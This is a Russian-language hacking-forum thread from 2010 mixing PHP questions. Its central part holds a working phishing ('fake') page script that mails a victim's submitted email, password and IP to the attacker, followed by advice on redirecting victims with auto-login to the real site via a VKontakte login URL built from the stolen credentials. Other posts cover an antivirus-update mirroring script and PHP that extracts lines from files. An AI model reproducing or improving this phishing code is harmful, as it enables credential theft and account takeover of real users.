
22.03.2010, 17:31
|
|
Banned
Регистрация: 14.06.2009
Сообщений: 256
С нами:
8899013
Репутация:
105
|
|
Можно ли написать скрипт на php или perl, который автоматом будет заходить на сайт eset для скачки обновлений для антивируса и будет их копировать на другой ftp (где мне бесплатно)
Скриптик бы повесил на кротаб и было все круто)
заранее спасибо.
|
|
|

22.03.2010, 18:07
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Конечно можно.
|
|
|

22.03.2010, 19:09
|
|
Участник форума
Регистрация: 10.11.2009
Сообщений: 122
С нами:
8685055
Репутация:
199
|
|
Есть скрипт для фейка:
<?php
$mail="somemail@mail.ru"; //e-mail куда будут отправлятся отчеты
if ((isset($_POST["user_email"])) and (isset($_POST["user_password"]))) { //проверка существуют ли переменные
$s="paypal.com: ".$_POST["user_email"]; //создание темы письма
$m="Find passwordsomesite.com.
Lodin: ".$_POST["user_email"]."
Password: ".$_POST["user_password"]."
IP: ".$_SERVER["REMOTE_ADDR"]."
===============
Login and password was send from ".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI']."
mail($mail,$s,$m) or exit("<script language=JavaScript>window.location='?'</script>"); // отсылка письма
exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
?>
Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
|
|
|

22.03.2010, 19:24
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
С нами:
9288386
Репутация:
536
|
|
Сообщение от Paul_Eckman
Что и где нужно дописать, чтобы при вводе логина и пароля, кроме отправки данных на е-мейл, происходила переадресация и автоматическая авторизация на основном сайте (на который сделан фейк)?
Дописывать нужно, когда идёт переадресация на реальный сайт, то есто тут:
PHP код:
exit("<script language=JavaScript>window.location='https://www.somesite.com/'</script>");}; //переадрессация на настоящую страницу
Чтобы произошла автоматическая авторизация, посмотри, возможно ли на исходном сайте авторизоваться гет запросом, то есть по ссылке...
Например для сайта вконтакте ссылка такая :
'http://vkontakte.ru/login.php?email='.$_POST["user_email"].'&pass='.$_POST["user_password"] даёт авторизацию на сайте... Вот на неё и надо делать переадресацию.._)
|
|
|

22.03.2010, 20:14
|
|
Участник форума
Регистрация: 10.11.2009
Сообщений: 122
С нами:
8685055
Репутация:
199
|
|
Нет, к сожалению, авторизация идет через POST, через GET авторизоваться не получается ((
Т.е., без возможности ГЕТ запроса фейк с внутр. авторизацией никак не получится?
|
|
|

22.03.2010, 20:55
|
|
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
С нами:
9288386
Репутация:
536
|
|
Сообщение от Paul_Eckman
Т.е., без возможности ГЕТ запроса фейк с внутр. авторизацией никак не получится?
Не стану такоге утверждать, но как реализовать не знаю...
Попробуй скриптом послать пост запрос на сайт с данными авторизации и вывесли браузеру результат.. Возможно какой-нибудь чудо редирект сделает своё дело..
А так не знаю.. Может, кто-то предложит что дельное.)
|
|
|

22.03.2010, 21:22
|
|
Участник форума
Регистрация: 19.08.2008
Сообщений: 104
С нами:
9330829
Репутация:
13
|
|
на фтп есть папка, в папке очень много файлов, файлы вида random.akk.
как открыть все файлы из этой папки, вытащить из них данные и сохранить в один файл ?
из %username%.akk надо выдернуть 3 строку(-23)
Код:
14
64
-23
7
163995
0
1
и сохранить в файл.txt
Код:
%username% -23
%username2% 550
|
|
|

22.03.2010, 22:46
|
|
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
С нами:
9213376
Репутация:
278
|
|
Сообщение от Winst0n
на фтп есть папка, в папке очень много файлов, файлы вида random.akk.
как открыть все файлы из этой папки, вытащить из них данные и сохранить в один файл ?
из %username%.akk надо выдернуть 3 строку(-23)
Код:
14
64
-23
7
163995
0
1
и сохранить в файл.txt
Код:
%username% -23
%username2% 550
PHP код:
<?php
$fput = "полный путь до файла куда нужно всё это записывать";
$dir = "."; //папка для считывания без слеша на конце
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != "..") {
$content = file($dir."/".$file);
if( @file_put_contents( $fput, basename($file)." ".$content[2]."\r\n", FILE_APPEND ) ) echo "$file - good\n"; else echo "$file - bad";
}
}
closedir($handle);
}
Как-то так, если я всё правильно понял
|
|
|

22.03.2010, 23:05
|
|
Участник форума
Регистрация: 19.08.2008
Сообщений: 104
С нами:
9330829
Репутация:
13
|
|
Deathdreams, спасибо, то что нужно 
|
|
|

22.03.2010, 23:36
|
|
Участник форума
Регистрация: 19.08.2008
Сообщений: 104
С нами:
9330829
Репутация:
13
|
|
хм.. почему если добавляю $content[4] пишет уже на новую строку ?
Код:
if( @file_put_contents( $fput, basename($file)." ".$content[2]." ".$content[4]."\r\n", FILE_APPEND ) )
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|